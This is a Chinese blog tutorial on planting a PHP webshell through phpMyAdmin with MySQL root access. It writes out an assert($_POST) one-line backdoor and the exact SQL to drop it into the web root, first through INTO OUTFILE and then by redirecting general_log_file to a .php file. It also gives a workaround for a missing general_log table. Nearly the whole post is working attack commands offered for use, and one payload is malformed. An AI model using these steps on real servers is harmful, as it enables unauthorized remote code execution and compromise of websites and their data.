phpmyadmin后台拿webshell

Admin 2020-02-04 202人围观 ,发现0个评论
  1. 前提:条件是root用户。

    思路:就是利用mysql的一个日志文件。这个日志文件每执行一个sql语句就会将其执行的保存。我们将这个日志文件重命名为我们的shell.php然后执行一条sql带一句话木马的命令。然后执行菜刀连接之!

       要先把general log设置为ON

  1. 想通过into outfile写入一句话木马


select '<?php assert($_POST["cmd"];?)>' into outfile 'D:/phpstudy/PHPTutorial/WWW/xx.php';

需要知道绝对路径

2.执行下来,报错 “MySQL服务器正在使用--secure-file-priv选项运行,因此它无法执行此语句”

phpmyadmin后台拿webshell Web教程 第1张

 

那么就要知道这个 secure-file-priv是干什么用的。secure-file-priv这个全局变量是指定文件夹作为导出文件存放的地方,默认情况下,secure-file-priv是一个空值(NULL)。

phpmyadmin后台拿webshell Web教程 第2张

我们现在把secure-file-priv设置为网站的根目录,再去尝试使用INTO OUTFILEgetshell。

phpmyadmin后台拿webshell Web教程 第3张

执行下来报错,这个变量仅仅只是可读的变量。

 

 

3.思路卡壳了,转向从日志写入一句话。

Mysql的两个全局变量:

general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。

general log file 指的是日志的保存路径。

phpmyadmin后台拿webshell Web教程 第4张

 

目前这个general_log为off状态,那么日志就没有被记录进去,所以先打开这个全局变量。

set global general_log='on';

phpmyadmin后台拿webshell Web教程 第5张

 

打开过后,就会出现日志文件

phpmyadmin后台拿webshell Web教程 第6张

文件内容

phpmyadmin后台拿webshell Web教程 第7张

 

 

执行一条sql语句便会被记录到日志文件种去。

所以可以从日志写入一句话来试试。那么既然日志是保存在这个文件中,要写入一句话,应该要把日志存放的文件位置换成想要生成的一句话木马文件。那么就需要修改general_log_file变量的位置了。

set global general_log_file=’D:/phpstudy/PHPTutorial/WWW/xxx.php’

 

那就写入一句话进日志

select ‘<?php assert($_POST[“admin”]);?>’;

phpmyadmin后台拿webshell Web教程 第8张

访问一波,成功解析。

 

phpmyadmin后台拿webshell Web教程 第9张

 

奇技淫巧:

mysql版本: 5.5.53
尝试开启日志功能写文件,但是提示表  mysql.general_log不存在

mysql> set global general_log = on;

ERROR 1146 (42S02): Table 'mysql.general_log' doesn't exist


解决思路:
从其他数据库中提取表 mysql.general_log信息
然后切换到mysql库中执行以下SQL语句
CREATE TABLE IF NOT EXISTS `general_log` (
 

 `event_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `user_host` mediumtext NOT NULL,
  `thread_id` int(11) NOT NULL,
  `server_id` int(10) unsigned NOT NULL,
  `command_type` varchar(64) NOT NULL,
  `argument` mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';


再次执行

set global general_log = on;
select 'shell'

  即成功拿到shell


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客